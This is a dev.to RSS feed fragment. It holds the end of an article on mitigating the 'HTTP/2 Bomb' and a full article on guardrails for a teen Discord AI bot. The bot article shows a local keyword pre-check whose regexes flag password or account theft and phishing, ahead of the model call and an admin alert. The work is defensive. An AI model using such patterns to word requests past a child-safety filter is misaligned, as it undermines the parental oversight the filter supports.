&lt;span class="c"&gt;# If you can't do that yet, cap per-worker memory so a bombed worker&lt;/span&gt;
&lt;span class="c"&gt;# gets OOM-killed and respawned instead of pushing the box into swap:&lt;/span&gt;
&lt;span class="nb"&gt;ulimit&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &amp;lt;kib&amp;gt;            &lt;span class="c"&gt;# or cgroup memory.max, or container --memory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A worker that dies clean and respawns is a far better failure mode than one holding the whole machine at 95% memory while every other request crawls.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;The HTTP/2 Bomb gets patched everywhere in a few weeks. The condition that produced it doesn't. Our security debt isn't just the CVEs we know about, it's the backlog of obvious compositions nobody has run the numbers on, sitting in the seams between systems that each looked fine in isolation. The thing that used to protect us from that backlog was that checking it was tedious. That's gone. The tedium is free now, for defenders who choose to spend it and for everyone else regardless. Run the numbers on your own infrastructure before someone else does.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Timing note: this one is still moving. Envoy shipped its fix while the story was developing and others may follow. Everything here is accurate as of June 4, 2026. Check each vendor's advisory before you act.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>AI Guardrails for a Teen Discord Server: The Code Around the Model Call</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sat, 30 May 2026 00:19:47 +0000</pubDate>
      <link>https://dev.to/kkierii/ai-guardrails-for-a-teen-discord-server-the-code-around-the-model-call-47gd</link>
      <guid>https://dev.to/kkierii/ai-guardrails-for-a-teen-discord-server-the-code-around-the-model-call-47gd</guid>
      <description>&lt;p&gt;I built a Discord bot that gives my thirteen-year-old and a few of her friends an AI assistant they can talk to. The model call is the least interesting line in the whole project. Everything worth writing about is the code wrapped around it: where the AI is allowed to run, what runs before it, and the handful of things that broke along the way.&lt;/p&gt;

&lt;p&gt;This is the practitioner cut. If you're building a bot for a small private server, especially one with minors in it, here's the architecture and the specific failures, with the values scrubbed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Containment first: one channel, one command
&lt;/h2&gt;

&lt;p&gt;The instinct is to let the bot respond to everything. Don't. A bot that reads every message is noisy, ships a constant stream of user text off to the model, and is nearly impossible to audit. I made the AI opt-in: one channel, one slash command, public replies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AI is opt-in: one channel, one command, public replies&lt;/span&gt;
&lt;span class="nv"&gt;AI_ASK_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;&lt;span class="nv"&gt;AI_ASK_CHANNEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ask-ai
&lt;span class="nv"&gt;AI_ASK_COOLDOWN_SECONDS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30
&lt;span class="nv"&gt;AI_ASK_MAX_CHARS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;800
&lt;span class="nv"&gt;AI_ASK_MEMORY_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;&lt;span class="nv"&gt;AI_ASK_MEMORY_TURNS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;6

&lt;span class="c"&gt;# the separate server-wide monitor is alert-only: never deletes, never times out&lt;/span&gt;
&lt;span class="nv"&gt;AI_CHAT_MONITORING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;&lt;span class="nv"&gt;AI_CHAT_MIN_LENGTH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;12
&lt;span class="nv"&gt;AI_CHAT_COOLDOWN_SECONDS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30
&lt;span class="nv"&gt;AI_CHAT_ALERT_THRESHOLD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;medium

&lt;span class="nv"&gt;OLLAMA_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://&amp;lt;ollama-host&amp;gt;:11434
&lt;span class="nv"&gt;DISCORD_GUILD_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;your-guild-id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Slash-command-only means intent is explicit, the channel stays quiet, every interaction is in one place, and you lean on Discord's application command model instead of scraping message content. Replies are public in the channel on purpose. No ephemeral replies and no DMs, because that's a hidden AI conversation with a minor, which is the one thing I was building to avoid.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern that matters: a deterministic check before the model
&lt;/h2&gt;

&lt;p&gt;The system prompt is not a security boundary. It's a soft layer, and a determined prompt argues its way around it. The hard boundary has to live somewhere the model can't talk past, so a fixed-rule pre-check runs on my own box before anything reaches the model.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleAsk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;interaction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;localPrecheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// fixed rules, local, no model involved&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;interaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;kindRefusal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;category&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt; &lt;span class="c1"&gt;// public, in-channel&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;alertAdmins&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;            &lt;span class="c1"&gt;// private admin channel&lt;/span&gt;
    &lt;span class="nf"&gt;logEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ai_blocked_query&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// never reaches the model, never written to memory&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;askModel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;SYSTEM_PROMPT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;interaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;answer&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nf"&gt;logEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ai_response&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* short excerpt + timestamp only */&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A blocked prompt gets a short public refusal, an alert to a private channel, and a logged event. What it does not get: a deletion, a timeout, or a trip to the model. No punishment, ever. The bot flags and a human decides, because models misread sarcasm and teen slang constantly and a false positive on a kid costs trust you don't get back cheaply.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rule-order bug
&lt;/h2&gt;

&lt;p&gt;I tested the pre-check with &lt;code&gt;how do I steal someone's password&lt;/code&gt;. It got caught, but by the wrong rule. A broad pattern matched first and returned a generic refusal, wether or not a more specific rule existed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// WRONG: the broad rule shadows the specific one&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RULES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;illegal_or_dangerous&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="sr"&gt;steal&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="sr"&gt;/i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;     &lt;span class="c1"&gt;// matches first&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cyber_abuse&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="sr"&gt;/steal.*&lt;/span&gt;&lt;span class="se"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;password|account&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;|phish/i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// RIGHT: specific patterns before broad ones&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RULES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cyber_abuse&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="sr"&gt;/steal.*&lt;/span&gt;&lt;span class="se"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;password|account&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;|phish/i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;illegal_or_dangerous&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="sr"&gt;steal&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="sr"&gt;/i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;     &lt;span class="c1"&gt;// broad fallback last&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rule order is part of the logic, not a detail. A broad token like &lt;code&gt;steal&lt;/code&gt; grabs the prompt untill you put the narrower, smarter rule ahead of it. This is the same trap as ordering routes or firewall rules: specific first, broad last.&lt;/p&gt;

&lt;h2&gt;
  
  
  Least privilege on the bot
&lt;/h2&gt;

&lt;p&gt;The bot does not hold Administrator for normal operation. I granted it once, briefly, to get past a &lt;code&gt;50013 Missing Permissions&lt;/code&gt; wall while setting private category overwrites, then stripped it. If the token leaks, I want the blast radius to be tiny. Invite creation is locked for &lt;code&gt;@everyone&lt;/code&gt; and the member roles so invites can't spread on their own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Target the guild by ID, not by name
&lt;/h2&gt;

&lt;p&gt;Early helper scripts found the server by name. Then the kids renamed it and every script broke instantly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// brittle: breaks the moment the server is renamed&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;guild&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;guilds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;TARGET_GUILD_NAME&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// rename-proof: stable numeric ID, name only as fallback&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;guild&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;guilds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DISCORD_GUILD_ID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt;
  &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;guilds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;TARGET_GUILD_NAME&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Names are for humans. Automation should hold onto the ID.&lt;/p&gt;

&lt;h2&gt;
  
  
  Clean up the deprecation warning
&lt;/h2&gt;

&lt;p&gt;discord.js started warning that &lt;code&gt;ephemeral: true&lt;/code&gt; is deprecated in favor of flags. Easy fix, worth doing once core behavior is stable, because a log full of harmless noise is where a real problem eventually hides.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// deprecated&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;interaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deferReply&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;ephemeral&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// current&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MessageFlags&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;discord.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;interaction&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deferReply&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;MessageFlags&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Ephemeral&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The patch loop and the runtime
&lt;/h2&gt;

&lt;p&gt;The bot runs as a systemd service so it survives reboots without an interactive session. The whole iteration loop is deliberately small: back up, patch, syntax-check, restart, read the logs, test one thing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node &lt;span class="nt"&gt;--check&lt;/span&gt; logger-bot.js                 &lt;span class="c"&gt;# never restart on a syntax error&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart family-discord-logger
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; family-discord-logger &lt;span class="nt"&gt;-n&lt;/span&gt; 50 &lt;span class="nt"&gt;--no-pager&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;State is plain JSON files, not a database, because the server is small and I want to open the files and read them. The daily report is a local HTML dashboard generated on the box. The bot does not upload it into Discord; I pull it down with a secure copy when I want it. Definately overkill for a family server, but it makes review something I'll actually do.&lt;/p&gt;

&lt;h2&gt;
  
  
  One thing that isn't code: disclosure
&lt;/h2&gt;

&lt;p&gt;A logging setup pointed at a shared space full of other people's kids is only defensible if the people in it know it exists. So the disclosure is built into the server: one channel tells the kids the AI can be wrong, replies are public, don't share private info, and the admin can review activity. Another explains how the whole thing was built. If you can't comfortably tell the people in the room what your system records, that's a design smell, not a docs gap.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest tradeoff
&lt;/h2&gt;

&lt;p&gt;The model is cloud-hosted, reached over the network, not local. The provider says prompts aren't stored or trained on and are processed only to serve the request. I designed around shrinking what reaches it anyway: the single channel, the pre-check, an explicit warning to users, and the rule that blocked prompts never leave the box. That reduces exposure. It does not make it equivalent to local-only, and I won't pretend it does.&lt;/p&gt;

&lt;p&gt;The architecture is deliberately boring. The model can answer; the question I kept asking was whether it should answer here, in this way, with this much visibility, and with this much authority. For a server full of teenagers, boring is the whole point.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>ai</category>
      <category>discord</category>
    </item>
  </channel>
</rss>
